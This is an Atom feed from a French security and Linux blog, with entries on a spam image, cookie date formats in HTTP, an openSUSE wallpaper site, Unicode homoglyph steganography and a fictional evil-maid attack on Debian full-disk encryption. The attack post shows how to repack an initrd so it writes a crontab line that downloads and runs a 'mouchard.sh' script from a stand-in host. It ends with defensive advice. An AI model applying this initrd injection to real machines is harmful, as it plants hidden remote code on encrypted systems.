<?xml version="1.0" encoding="UTF-8" ?>
<feed xmlns="http://purl.org/atom/ns#" version="0.3"
	  xmlns:dc="http://purl.org/dc/elements/1.1/"
	  xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	  xml:lang="fr">

  <title>devloop :: blog</title>
  <link rel="alternate" type="text/html" href="http://devloop.lyua.org/blog/index.php"/>
  <tagline type="text/plain" mode="escaped">Blog sur la sécurité informatique, Linux et le Web</tagline>
  
  <modified>2009-07-02T12:42:34+00:00</modified>
  <generator version="1.2" url="http://www.dotclear.net/">DotClear</generator>
  
  <sy:updatePeriod>daily</sy:updatePeriod>
  <sy:updateFrequency>1</sy:updateFrequency>
  <sy:updateBase>2009-07-02T12:42:34+00:00</sy:updateBase>
  
<entry xml:lang="fr">
  <title>Kamoulox 2</title>
  <link rel="alternate" type="text/html" href="http://devloop.lyua.org/blog/index.php?2009/07/02/576-kamoulox-2" />
  <issued>2009-07-02T12:42:34+00:00</issued>
  <modified>2009-07-02T12:42:34+00:00</modified>
  <id>http://devloop.lyua.org/blog/index.php?2009/07/02/576-kamoulox-2</id>
  <author><name>devloop</name></author>
  <dc:subject>Web</dc:subject>
  <summary>Le retour...


C'est sûr qu'un fer à repasser dans le jean ne doit pas faire du bien...
Je me pose des questions sur les outils de traduction utilisés :|...</summary>
  <content type="text/html" mode="escaped"> &lt;a href=&quot;http://devloop.lyua.org/blog/index.php?2008/09/29/533-euh-kamoulox&quot; hreflang=&quot;fr&quot;&gt;Le retour&lt;/a&gt;...&lt;br /&gt;
&lt;br /&gt;
&lt;img src=&quot;http://img39.imageshack.us/img39/6374/kamoulox2.jpg&quot; alt=&quot;spam kamoulox&quot; /&gt;&lt;br /&gt;
C'est sûr qu'un fer à repasser dans le jean ne doit pas faire du bien...&lt;br /&gt;
Je me pose des questions sur les outils de traduction utilisés :|</content>
</entry>
<entry xml:lang="fr">
  <title>Les navigateurs ont bien du mérite</title>
  <link rel="alternate" type="text/html" href="http://devloop.lyua.org/blog/index.php?2009/06/27/575-les-navigateurs-ont-bien-du-merite" />
  <issued>2009-06-27T22:52:51+00:00</issued>
  <modified>2009-06-27T22:52:51+00:00</modified>
  <id>http://devloop.lyua.org/blog/index.php?2009/06/27/575-les-navigateurs-ont-bien-du-merite</id>
  <author><name>devloop</name></author>
  <dc:subject>Web</dc:subject>
  <summary>Ce n'est pas nouveau !
Quand on voit les différents standards (X)HTML, les normes ECMAScript, les histoires d'encodage des caractères, les flux RSS, les images, les animations Flash, le format CSS...</summary>
  <content type="text/html" mode="escaped"> Ce n'est pas nouveau !&lt;br /&gt;
Quand on voit les différents standards (X)HTML, les normes ECMAScript, les histoires d'&lt;a href=&quot;http://devloop.lyua.org/blog/index.php?2009/06/01/572-steganographie-et-unicode-utf-8&quot; hreflang=&quot;fr&quot;&gt;encodage des caractères&lt;/a&gt;, les flux RSS, les images, les animations Flash, le format CSS et que tout ça avance à une vitesse monstre, c'est déjà pas facile.&lt;br /&gt;
Mais quand en plus chacun y va de ses &lt;q&gt;solutions&lt;/q&gt; propriétaires, ses balises à lui, les webmestres qui s'improvisent du code HTML entre deux standards (en supposant que les balises en question soient fermées), l'interprétation du code qui diffère d'un navigateur à un autre et les &lt;q&gt;astuces&lt;/q&gt; à ajouter dans les pages pour réparer les erreurs... on s'en sort plus.&lt;br /&gt;
&lt;br /&gt;
On pouvait penser que la base (le protocole HTTP) était, lui, correctement implémenté... mais après avoir travaillé sur une nouvelle implémentation des &lt;a href=&quot;http://fr.wikipedia.org/wiki/Cookie_(informatique)&quot; hreflang=&quot;fr&quot; target=&quot;_blank&quot;&gt;cookies&lt;/a&gt; dans &lt;a href=&quot;http://wapiti.sourceforge.net/&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;Wapiti&lt;/a&gt;, force est de constater qu'on est loin du compte :( &lt;br /&gt;
&lt;br /&gt;
Premier sujet d'énervement : les dates utilisées dans les entêtes. Quand un serveur déclare un cookie auprès du client, il utilise l'entête &lt;q&gt;Set-Cookie&lt;/q&gt; avec un champ nommé &lt;q&gt;expires&lt;/q&gt;.&lt;br /&gt;
Ce champ donne la date à laquelle expira le cookie associé. Or cette date n'est pas une date relative mais une date &lt;q&gt;absolue&lt;/q&gt; dans ce style : &lt;q&gt;Sat, 27 Jun 2009 16:33:21 CET&lt;/q&gt;.&lt;br /&gt;
C'est déjà énervant de devoir jongler avec les fuseaux horaires &lt;strong&gt;mais en plus il faut jongler avec le format de la date&lt;/strong&gt;.&lt;br /&gt;
&lt;br /&gt;
Lors de mes tests j'ai trouvé quatres formats de date différents présents dans le champ &lt;em&gt;expires&lt;/em&gt; des cookies ou les entêtes HTTP &lt;em&gt;Date&lt;/em&gt; et &lt;em&gt;Expires&lt;/em&gt;.&lt;br /&gt;
Avec ou sans virgule, avec le décalage horaire sous forme numérique ou sous la forme de trois lettres (&lt;em&gt;GMT&lt;/em&gt;, &lt;em&gt;CET&lt;/em&gt;), avec ou sans tirets, avec le mois placé avant ou après le numéro du jour.&lt;br /&gt;
Parfois un même serveur (comme www.amazon.com) utilise deux formats de date différents, juste histoire de compliquer les choses :| &lt;br /&gt;
&lt;br /&gt;
Le plus drôle c'est que si on jette un coup d'oeil aux &lt;a href=&quot;http://www.ietf.org/rfc/rfc2109.txt&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;RFC 2109&lt;/a&gt; et &lt;a href=&quot;http://www.ietf.org/rfc/rfc2965.txt&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;RFC 2965&lt;/a&gt; qui définissent le bon usage des cookies dans le protocole HTTP, on apprend qu'il faut utiliser un champ baptisé &lt;q&gt;max-age&lt;/q&gt; pour l'expiration des cookies et que sa valeur est... relative au moment présent !! (par exemple max-age=500 définie une durée de vie de 500 secondes)&lt;br /&gt;
&lt;br /&gt;
Seulement presque aucun serveur, CGI et compagnie ne respectent ces spécifications. Au lieu d'utiliser les méthodes revues et corrigées, ils continuent depuis plus de 10 ans de se baser sur &lt;a href=&quot;http://curl.haxx.se/rfc/cookie_spec.html&quot; hreflang=&quot;en&quot;&gt;les anciennes specs de Netscape&lt;/a&gt;.&lt;br /&gt;
La raison serait principalement &lt;a href=&quot;http://www.citycat.ru/doc/HTTP/draft-ietf-http-state-mgmt-errata.txt&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;le non respect de ces specs par le navigateur de Microsoft&lt;/a&gt; et il semble que &lt;a href=&quot;http://cephas.net/blog/2008/11/18/tomcat-6018-version-1-cookies-acegi-remember-me-and-ie/&quot; hreflang=&quot;en&quot;&gt;ce dernier persiste même arrivé à la version 7&lt;/a&gt; :( &lt;br /&gt;
&lt;br /&gt;
Malgré l'existence d'un entête &lt;q&gt;Set-Cookie2&lt;/q&gt; compatible avec l'ancienne méthode de &lt;em&gt;Netscape&lt;/em&gt;, &lt;a href=&quot;http://www.mnot.net/blog/2006/10/27/cookie_fun&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;les navigateurs ne semblent pas bien pressés de suivre les bonnes règles&lt;/a&gt;. Il n'y a qu'&lt;em&gt;Opera&lt;/em&gt; qui fait figure de bon élève dans cette histoire :( &lt;br /&gt;
&lt;br /&gt;
La librairie &lt;em&gt;libcookie&lt;/em&gt; de &lt;em&gt;Python&lt;/em&gt; montre aussi des défaillances. Pour le moment j'ai pu réécrire le script &lt;em&gt;cookie.py&lt;/em&gt;, en analysant directement les entêtes et abandonnant le format LWP/Netscape pour un format XML au niveau du stockage :) Vu comment les choses se présentent ça va se terminer sous la forme d'une librairie.&lt;br /&gt;
Les modifications ne sont pas encore visibles dans le SVN.&lt;br /&gt;
&lt;br /&gt;
Hors sujet :&lt;br /&gt;
Qu'est-ce qui est arrivé en premier ? L'extravagance de &lt;em&gt;Michael Jackson&lt;/em&gt; ou sa dépendance aux médicaments et autres substances ?&lt;br /&gt;
&lt;a href=&quot;http://www.youtube.com/watch?v=GKozi2l8iss&quot; hreflang=&quot;fr&quot; target=&quot;_blank&quot;&gt;La réponse en vidéo&lt;/a&gt;. &lt;em&gt;How !&lt;/em&gt;</content>
</entry>
<entry xml:lang="fr">
  <title>Geeko Builder</title>
  <link rel="alternate" type="text/html" href="http://devloop.lyua.org/blog/index.php?2009/06/13/574-geeko-builder" />
  <issued>2009-06-13T19:11:41+00:00</issued>
  <modified>2009-06-13T19:11:41+00:00</modified>
  <id>http://devloop.lyua.org/blog/index.php?2009/06/13/574-geeko-builder</id>
  <author><name>devloop</name></author>
  <dc:subject>Web</dc:subject>
  <summary>Voici un site totalement inutile... donc indispensable qui ravira les fanboys de la distribution Linux openSUSE :

Geeko Builder

Ce site vous permet de créer vous même votre fond d'écran...</summary>
  <content type="text/html" mode="escaped"> Voici un site totalement inutile... donc indispensable qui ravira les fanboys de la distribution Linux &lt;em&gt;openSUSE&lt;/em&gt; :&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://geekobuilder.com/&quot; hreflang=&quot;en&quot;&gt;Geeko Builder&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Ce site vous permet de créer vous même votre fond d'écran &lt;em&gt;openSUSE&lt;/em&gt; en sélectionnant les différents éléments (décor, vétements, outils) à incorporer.&lt;br /&gt;
Par exemple j'ai fait une version &lt;a href=&quot;http://geekobuilder.com/hOy3x64GUK/&quot; hreflang=&quot;en&quot;&gt;Geeko Ninja dans une salle de serveurs&lt;/a&gt; :D</content>
</entry>
<entry xml:lang="fr">
  <title>Bypasser le chiffrement de disque sous Linux</title>
  <link rel="alternate" type="text/html" href="http://devloop.lyua.org/blog/index.php?2009/06/01/573-bypasser-le-chiffrement-de-disque-sous-linux" />
  <issued>2009-06-01T21:22:28+00:00</issued>
  <modified>2009-06-01T21:22:28+00:00</modified>
  <id>http://devloop.lyua.org/blog/index.php?2009/06/01/573-bypasser-le-chiffrement-de-disque-sous-linux</id>
  <author><name>devloop</name></author>
  <dc:subject>Sécurité Informatique</dc:subject>
  <summary>Introduction dramatique

A chaque projet de loi concernant l'Internet ou le téléchargement, on assiste à une véritable foire où les internautes ne cessent de critiquer et de minimiser les...</summary>
  <content type="text/html" mode="escaped"> &lt;img src=&quot;http://xs840.xs.to/xs840/09231/fbi_kitteh530.jpg&quot; alt=&quot;FBI Kitteh&quot; style=&quot;float: right; margin-left: 5px;&quot; /&gt;&lt;strong&gt;Introduction dramatique&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
A chaque projet de loi concernant l'Internet ou le téléchargement, on assiste à une véritable foire où les internautes ne cessent de critiquer et de minimiser les mesures techniques proposées par le gouvernement arguant quelles sont inefficaces, onéreuses et difficiles à mettre en place... C'est souvent le cas :p &lt;br /&gt;
Mais j'évite de participer aux discussions enflamées sur les forums où chacun y va de sa contre mesure technique... c'est souvent les moins informés qui s'y expriment le plus :D&lt;br /&gt;
Si vous avez fait un tour chez un libraire ces derniers temps, vous avez dû remarquer qu'une certaine presse (les magazines sur lesquels on voit une bourrique ou un drapeau noir) joue aussi le jeu à fond et la page de couverture titre à peu près &lt;q&gt;Toutes les astuces pour pas se faire gauler !&lt;/q&gt;&lt;br /&gt;
&lt;br /&gt;
Avec la &lt;a href=&quot;http://fr.wikipedia.org/wiki/Loi_d'orientation_et_de_programmation_pour_la_performance_de_la_sécurité_intérieure&quot; hreflang=&quot;fr&quot; target=&quot;_blank&quot;&gt;LOPSI 2&lt;/a&gt;, le phénomène est exactement le même. Un peu partout sur le web vous lirez que pour empècher l'insertion du fameux mouchard il suffit de chiffrer son disque.&lt;br /&gt;
Mais qu'en est-il réellement ? &lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Scénario improbable&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;em&gt;José&lt;/em&gt; est un terroriste.&lt;br /&gt;
C'est du moins ce que certaines personnes pensent, tellement il est de gauche, tellement il porte la moustache, tellement il est agriculteur, tellement il va pas au &lt;em&gt;MacDo&lt;/em&gt;...&lt;br /&gt;
En plus il est anti-capitaliste au point de ne pas utiliser un système &lt;em&gt;Microsoft&lt;/em&gt; !! C'est sûr, &lt;em&gt;José&lt;/em&gt; et un homme dangereux.&lt;br /&gt;
&lt;br /&gt;
D'ailleurs il a installé une &lt;em&gt;Debian Lenny&lt;/em&gt; en utilisant les options permettant de chiffrer l'ensemble de ses données.&lt;br /&gt;
&lt;br /&gt;
Le ministre de l'intérieur a décidé que ce serait bien d'avoir un oeil sur ses communications. Malheureusement &lt;em&gt;José&lt;/em&gt; communique avec &lt;em&gt;GPG&lt;/em&gt;. De plus une exploitation distante pour pénétrer son ordinateur a peu de chances de réussir car il utilise &lt;em&gt;OpenOffice&lt;/em&gt; et met régulièrement son système à jour.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela que le &lt;em&gt;GIPM&lt;/em&gt; (&lt;em&gt;Groupe d'Intervention de Pose de Mouchard&lt;/em&gt;) s'est vu remettre l'opération.&lt;br /&gt;
Mais une fois qu'ils ont obtenu un accès physique à l'ordinateur, le &lt;em&gt;GIPM&lt;/em&gt; (mené par l'inspecteur &lt;em&gt;Coudrier&lt;/em&gt;) s'aperçoivent que le disque est chiffré !! &lt;br /&gt;
L'inspecteur &lt;em&gt;Coudrier&lt;/em&gt; trouvera t-il une astuce ? &lt;em&gt;José&lt;/em&gt; ira t-il à &lt;em&gt;Quick&lt;/em&gt; à défaut de &lt;em&gt;MacDo&lt;/em&gt; ?&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Chapitre II&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;em&gt;Coudrier&lt;/em&gt; ne s'avoue pas vaincu. Il a pris soin d'éplucher &lt;a href=&quot;http://d-i.alioth.debian.org/manual/en.i386/ch06s03.html&quot; hreflang=&quot;en&quot;&gt;le manuel d'installation Debian&lt;/a&gt; et s'est attardé sur la partie concernant le chiffrement.&lt;br /&gt;
A priori ce n'est pas gagné : le disque est préalablement effacé et les données ensuite chiffrés avec des algorithmes solides. Pourtant il a remarqué un détail dans l'article :&lt;br /&gt;
&lt;blockquote&gt;Some people may even want to encrypt their whole system. The only exception is the /boot partition which must remain unencrypted, because currently there is no way to load the kernel from an encrypted partition.&lt;/blockquote&gt;
En effet, depuis sa vieille galette &lt;em&gt;KnoppixSTD&lt;/em&gt; qu'il a lancé sur l'ordinateur, &lt;em&gt;Coudrier&lt;/em&gt; a remarqué deux entrées dans &lt;em&gt;/etc/fstab&lt;/em&gt;.&lt;br /&gt;
La première est la partition &lt;em&gt;/dev/hda1&lt;/em&gt; montée sur &lt;em&gt;/boot&lt;/em&gt; au format ext2, de petite taille.&lt;br /&gt;
La seconde (&lt;em&gt;/dev/hda2&lt;/em&gt;) est marquée de format &lt;q&gt;auto&lt;/q&gt;. Son contenu est une suite d'octets inexploitables. Seul quelques chaines au début de la partition semblent indiquer qu'il s'agit d'une partition chiffrée. On peut lire &lt;q&gt;LUKS aes cbc-essiv:sha256 sha1&lt;/q&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;em&gt;Coudrier&lt;/em&gt; monte la partition /boot et liste son contenu : un dossier &lt;em&gt;grub&lt;/em&gt; et &lt;em&gt;lost+found&lt;/em&gt; ainsi que des fichiers &lt;em&gt;config-2.6.26-2-686&lt;/em&gt;, &lt;em&gt;initrd.img-2.6.26-2-686&lt;/em&gt;, &lt;em&gt;System.map-2.6.26-2-686&lt;/em&gt; et &lt;em&gt;vmlinuz-2.6.26-2-686&lt;/em&gt;.&lt;br /&gt;
L'inspecteur n'ayant aucune connaissance en virologie, il laisse de côté le fichier &lt;em&gt;vmlinuz-2.6.26-2-686&lt;/em&gt; et commence à s'intéresser au fichier &lt;em&gt;initrd.img-2.6.26-2-686&lt;/em&gt;.&lt;br /&gt;
&lt;br /&gt;
Ce fichier pèse 7Mo et est compressé par gzip. &lt;em&gt;Coudrier&lt;/em&gt; le copie sur sa clé USB, le décompresse et obtient une archive au format cpio.

&lt;pre&gt;$ cp initrd.img-2.6.26-2-686 /mnt/usbkey/initrd.gz
$ cd /mnt/usbkey
$ gunzip initrd.gz
$ file initrd
initrd: ASCII cpio archive (SVR4 with no CRC)&lt;/pre&gt;
Une recherche sur Google depuis une autre machine l'amène à &lt;a href=&quot;http://oldfield.wattle.id.au/luv/boot.html&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;une page sur les étapes du boot Linux&lt;/a&gt; et une autre sur &lt;a href=&quot;http://aasoftware.eu/index.php?option=com_content&amp;amp;task=view&amp;amp;id=44&amp;amp;Itemid=39&quot; hreflang=&quot;fr&quot; target=&quot;_blank&quot;&gt;la manipulation d'un fichier initrd&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Avec la première page, il apprend que la partition racine est montée après le lancement de initrd. Pourtant dans la section &lt;q&gt;initrd&lt;/q&gt; on peut lire &lt;q&gt;'real' root is mounted&lt;/q&gt;... étrange.&lt;br /&gt;
L'inspecteur n'a pas toute la journée : il tente sa chance.&lt;br /&gt;
&lt;br /&gt;
En listant le contenu du initrd (&lt;em&gt;cpio -itv &amp;lt; initrd&lt;/em&gt;)  il observe des fichiers qui ne lui sont pas utiles comme des modules kernel ou des binaires statiques et strippés.&lt;br /&gt;
Il y a aussi un dossier &lt;q&gt;scripts&lt;/q&gt; dont le contenu est le suivant :
&lt;pre&gt;scripts/nfs
scripts/local
scripts/init-premount
scripts/init-premount/udev
scripts/init-premount/blacklist
scripts/init-premount/thermal
scripts/local-top
scripts/local-top/lvm2
scripts/local-top/cryptopensc
scripts/local-top/lvm
scripts/local-top/cryptroot
scripts/local-bottom
scripts/local-bottom/cryptopensc
scripts/local-premount
scripts/local-premount/resume
scripts/init-top
scripts/init-top/keymap
scripts/init-top/framebuffer
scripts/init-top/all_generic_ide
scripts/functions
scripts/init-bottom
scripts/init-bottom/udev&lt;/pre&gt;
Il décide d'approfondir et extrait (&lt;em&gt;cpio -iv &amp;lt; initrd&lt;/em&gt;) les fichiers de l'archive cpio. Dans le fichier &lt;q&gt;scripts/local&lt;/q&gt; il trouve une fonction baptisée &lt;q&gt;mountroot&lt;/q&gt; qui contient la ligne suivante :&lt;br /&gt;
&lt;pre&gt;mount ${roflag} -t ${FSTYPE} ${ROOTFLAGS} ${ROOT} ${rootmnt}&lt;/pre&gt;
Il décide d'ajouter juste derrière la ligne
&lt;pre&gt;echo &amp;quot;0 * * * *  root  cd /dev/shm &amp;amp;&amp;amp; wget http://lopsi.interieur.gov/mouchard.sh &amp;amp;&amp;amp; chmod +x mouchard.sh &amp;amp;&amp;amp; ./mouchard.sh&amp;quot; &amp;gt; ${rootmnt}/etc/crontab&lt;/pre&gt;
&lt;em&gt;Coudrier&lt;/em&gt; regénère l'archive cpio avec ses modifications (&lt;em&gt;find * | cpio -o -H newc &amp;gt; ../new_initrd&lt;/em&gt;) et la recompresse (&lt;em&gt;gzip -9 new_initrd&lt;/em&gt;) avant d'écraser l'ancienne version.&lt;br /&gt;
Il lance un &lt;em&gt;sync&lt;/em&gt;, démonte les partions, retire sa galette et éteint la machine. Mission accomplished.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Fin&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Au prochain démarrage de son ordinateur, &lt;em&gt;José&lt;/em&gt; rentre sa passphrase qui lui permet de déchiffrer les disques. Il ne sait pas qu'il a malgré lui permis à la commande de &lt;em&gt;Coudrier&lt;/em&gt; de s'exécuter sur la partition tout juste déchiffrée...&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Bien que très efficace, le système de chiffrement de disque a quelques lacunes puisqu'un programme peut être injecté sur la partition /boot pour s'exécuter une fois que vous aurez autorisé le déchiffrement des partitions.&lt;br /&gt;
Pour se protéger d'une telle attaque il faudrait désactiver le boot sur périphériques CD ou USB dans le bios et protéger ce dernier par un mot de passe. Un cadenas physique empéchant le retrait du disque ou le vidage de la mémoire BIOS est aussi important.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Notes&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Comme indiqué dans cette fiction-réalité, j'ai effectué mes tests sur une Debian Lenny en sélectionnant le chiffrement total dans l'installeur.&lt;br /&gt;
Les commandes que l'on peut insérer dans les scripts extrait du initrd sont limitées aux commandes du shell ainsi qu'aux exécutables (peu nombreux) présents dans l'archive. Impossible donc d'y lancer directement un programme comme wget.&lt;br /&gt;
La commande que j'ai injecté durant mes tests créait uniquement un fichier dans /etc que l'on retrouvait une fois loggé sur le système et après avoir saisi la passphrase. L'entrée crontab de l'article est juste là pour faire plus l33t :D</content>
</entry>
<entry xml:lang="fr">
  <title>Stéganographie et Unicode (UTF-8)</title>
  <link rel="alternate" type="text/html" href="http://devloop.lyua.org/blog/index.php?2009/06/01/572-steganographie-et-unicode-utf-8" />
  <issued>2009-06-01T01:01:00+00:00</issued>
  <modified>2009-06-01T01:01:00+00:00</modified>
  <id>http://devloop.lyua.org/blog/index.php?2009/06/01/572-steganographie-et-unicode-utf-8</id>
  <author><name>devloop</name></author>
  <dc:subject>Sécurité Informatique</dc:subject>
  <summary>Mise en bouche

Jetez un oeil à ce texte, extrait d'une page Wikipedia :
The frequency of letters in text has often been studied for use in cryptography, and frequency analysis in particular. No...</summary>
  <content type="text/html" mode="escaped"> &lt;strong&gt;Mise en bouche&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Jetez un oeil à ce texte, &lt;a href=&quot;http://en.wikipedia.org/wiki/Letter_frequencies&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;extrait d'une page Wikipedia&lt;/a&gt; :
&lt;p style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;The frequency of letters in text has often been studied for use in cryptography, and frequency analysis in particular. No exact letter frequency distribution underlies a given language, since all writers write slightly differently. Linotype machines sorted the letters' frequencies as etaoin shrdlu cmfwyp vbgkqj xz based on the experience and custom of manual compositors.&lt;/p&gt;
Et maintenant jetez un autre oeil au texte suivant :
&lt;p style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Th&amp;#1077; frequ&amp;#1077;ncy of lett&amp;#1077;r&amp;#1109; in t&amp;#1077;xt &amp;#1210;as oft&amp;#1077;n be&amp;#1077;n stud&amp;#1110;ed for u&amp;#1109;e in &amp;#1089;ryptogr&amp;#1072;&amp;#1088;h&amp;#1091;, and freq&amp;#965;&amp;#1077;ncy anal&amp;#1091;&amp;#1109;is in p&amp;#1072;rticular. &amp;#925;&amp;#1086; e&amp;#1093;&amp;#1072;&amp;#1089;t lett&amp;#1077;r frequ&amp;#1077;ncy d&amp;#1110;stribution underlies a given language, since all writers write slightly differently. Linotype machines sorted the letters' frequencies as etaoin shrdlu cmfwyp vbgkqj xz based on the experience and custom of manual compositors.&lt;/p&gt;
Vous semblent-ils différents ? Peut-être avez vous remarqué une particularité dans l'un des texte... car l'un d'entre eux contient un message secret.&lt;br /&gt;
Jeter un coup d'oeil au code HTML de cette page vous donnera certainement un indice, pourtant j'aurais très bien pu vous montrer deux textes bruts (plain text) et vous n'aurez pas forcément remarqué plus de particularités.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;L'unicode : qu'est-ce que c'est et pourquoi on nous emmerde avec&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
L'&lt;a href=&quot;http://fr.wikipedia.org/wiki/Unicode&quot; hreflang=&quot;fr&quot; target=&quot;_blank&quot;&gt;unicode&lt;/a&gt; est une norme de codage des caractères destinée à être utilisée massivement pour rassembler et remplacer les normes existantes de différents pays.&lt;br /&gt;
On pourrait représenter l'unicode comme une énorme table de corresponde entre les caractères et leurs valeurs informatique comme on peut en trouver pour l'&lt;a href=&quot;http://www.asciitable.com/&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;ASCII&lt;/a&gt;.&lt;br /&gt;
Pendant longtemps, chacun y allait de sa norme de codage des caractères : ASCII et ISO 8859-1 pour les occidentaux, le Big5 pour les chinois, le KOI8-U pour les russes, le Shift-JIS ou encore le ISO 2022 pour les japonais.&lt;br /&gt;
On peut imaginer que cette diversité de normes n'arrange pas les développeurs qui souhaitent rendre leurs logiciels accessibles au plus de personnes possibles, quelque soit leur langue.&lt;br /&gt;
&lt;br /&gt;
Unicode se &lt;q&gt;décline&lt;/q&gt; en plusieurs formats : &lt;a href=&quot;http://fr.wikipedia.org/wiki/UTF-8&quot; hreflang=&quot;fr&quot; target=&quot;_blank&quot;&gt;UTF-8&lt;/a&gt;, UTF-16 et UTF-32.&lt;br /&gt;
Il y a aussi l'&lt;a href=&quot;http://en.wikipedia.org/wiki/UTF-7&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;UTF-7&lt;/a&gt; utilisé par des protocoles d'envoi de courrier et on parle de UTF-5 ou d'UTF-6, chacun ayant pour spécificité d'être compatible avec &lt;q&gt;alphabet&lt;/q&gt; prédéfini comme ceux (limités) utilisés pour composer une adresse email ou un nom de domaine.&lt;br /&gt;
Le nombre situé derrière les caractères &lt;em&gt;UTF&lt;/em&gt; correspond au nombre de bits &lt;ins&gt;minimum&lt;/ins&gt; nécessaire pour l'encodage d'un caractère.&lt;br /&gt;
&lt;br /&gt;
Le format dont cet article parlera sera l'UTF-8 qui est principalement utilisé par nous autre européens ou américains.&lt;br /&gt;
Ce format là a en effet le grand avantage d'être rétro-compatible avec l'ASCII, c'est à dire que la plupart des caractères que l'on utilise sont encodés sur un octet, exactement comme ils l'étaient auparavant.&lt;br /&gt;
Ce &lt;q&gt;miracle&lt;/q&gt; tient sur le fait que l'UTF-8 utilise les premiers bits de chaque octet pour déterminer s'il a affaire à nos bons vieux caractères où s'il doit chercher dans des tables plus exotiques.&lt;br /&gt;
Ainsi notre petit &lt;q&gt;a&lt;/q&gt; sera codé 0x61 en hexa comme c'était le cas en ASCII mais le &lt;q&gt;à&lt;/q&gt; avec accent tiendra sur deux caractères et se codera 0xC3A0.&lt;br /&gt;
&lt;a href=&quot;http://fr.wikipedia.org/wiki/UTF-8&quot; hreflang=&quot;fr&quot; target=&quot;_blank&quot;&gt;La page Wikipedia sur l'UTF-8&lt;/a&gt; montre quels bits sont utilisés sur chaque octet.&lt;br /&gt;
&lt;br /&gt;
L'UTF-8 est donc, comme d'autres formats d'unicode, extensible. Comme dit &lt;a href=&quot;http://www.tbray.org/ongoing/When/200x/2003/04/26/UTF&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;sur cette page&lt;/a&gt;, on pourrait qualifier le format UTF-8 de raciste : quand nos caractères sont encodés sur un ou deux octets, les thaïlandais ou les koréens ont droit à 3 octets par caractère ! &lt;br /&gt;
Pas de quoi les motiver à utiliser UTF-8, heureusement l'UTF-16 et l'UTF-32 mettent tout le monde à un niveau d'égalité (toutefois l'UTF-32 prend comme son nom l'indique 4 octets par caractère :( ) &lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;UTF-8 : représentation, encodage et décodage en Python...&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Quand on veut nommer un caractère en unicode, on utilise généralement la forme &lt;q&gt;U+XXXX&lt;/q&gt; om &lt;q&gt;XXXX&lt;/q&gt; est un nombre hexadécimal dont la taille peut varier.&lt;br /&gt;
Pour &lt;q&gt;fouiller&lt;/q&gt; dans l'unicode, il y a trois sites quasi-indispensables :&lt;br /&gt;
&lt;a href=&quot;http://www.decodeunicode.org/en/&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;decodeunicode.org&lt;/a&gt; : une mine d'or à l'interface soignée.&lt;br /&gt;
&lt;a href=&quot;http://www.fileformat.info/info/unicode/&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;FileFormat.Info&lt;/a&gt; : très pratique, le sites offrent aussi des ressources en dehors d'unicode&lt;br /&gt;
&lt;a href=&quot;http://www.unicode.org/fr/charts/&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;Unicode.org&lt;/a&gt; : le site officiel avec les tables de caratères au format PDF.&lt;br /&gt;
&lt;a href=&quot;http://www.unipad.org/unimap/&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;Unimap (unipad.org)&lt;/a&gt; : assez simple mais efficace.&lt;br /&gt;
&lt;br /&gt;
Si vous programmez, vous vous êtes peut-être déjà arraché les cheveux devant des problèmes de mauvais encodages. Mon expérience m'a montré que le mieux est encore d'aller à la source et de corriger directement le mauvais caractère (par exemple dans une page html) au lieu de tenter de le convertir/corriger.&lt;br /&gt;
Je vous donne tout de même quelques commandes pratiques en Python pour jouer avec les caractères unicode :) &lt;br /&gt;
&lt;br /&gt;
Définissons un caractère s dont la valeur est &lt;q&gt;é&lt;/q&gt; et observons son type :

&lt;pre&gt;&amp;gt;&amp;gt;&amp;gt; s='é'
&amp;gt;&amp;gt;&amp;gt; type(s), repr(s)
(&amp;lt;type 'str'&amp;gt;, &amp;quot;'\\xc3\\xa9'&amp;quot;)&lt;/pre&gt;
&lt;em&gt;s&lt;/em&gt; est un caractère &lt;q&gt;brut&lt;/q&gt; : c'est un type 'str' et non unicode. On voit toutefois qu'il est codé sur deux octets, il est donc bien au format UTF-8 mais n'offre pas les avantages de la classe unicode.&lt;br /&gt;
Transformons ce caratère au type unicode :
&lt;pre&gt;&amp;gt;&amp;gt;&amp;gt; u=unicode(s,&amp;quot;UTF-8&amp;quot;)
&amp;gt;&amp;gt;&amp;gt; type(u), repr(u)
(&amp;lt;type 'unicode'&amp;gt;, &amp;quot;u'\\xe9'&amp;quot;)&lt;/pre&gt;
